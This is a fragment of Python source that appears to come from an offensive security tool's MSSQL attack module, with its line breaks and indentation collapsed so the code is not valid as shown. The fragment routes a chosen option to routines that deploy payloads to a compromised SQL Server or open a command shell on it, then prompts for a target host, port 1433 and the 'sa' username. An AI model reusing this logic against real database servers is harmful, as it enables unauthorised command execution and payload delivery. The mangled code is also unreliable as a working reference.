break # specify we are using the fasttrack # option, this disables some features filewrite = open( setdir + "/fasttrack.options", "w") filewrite.write("none") filewrite.close() # import fasttrack if option == "1": # import payloads for selection and # prep mssql.deploy_hex2binary( success[0], success[2], success[1], success[3]) # straight up connect if option == "2": mssql.cmdshell(success[0], success[2], success[ 1], success[3], option) # increment counter counter = counter + 1 # # if we want to connect directly to a SQL server # if attack_vector_sql == "2": sql_server = raw_input(setprompt( ["19", "21", "23"], "Enter the hostname or IP address of the SQL server")) sql_port = raw_input( setprompt(["19", "21", "23"], "Enter the SQL port to connect [1433]")) if sql_port == "": sql_port = "1433" sql_username = raw_input( setprompt(["19", "21", "23"], "Enter the username of the SQL Server [sa]"))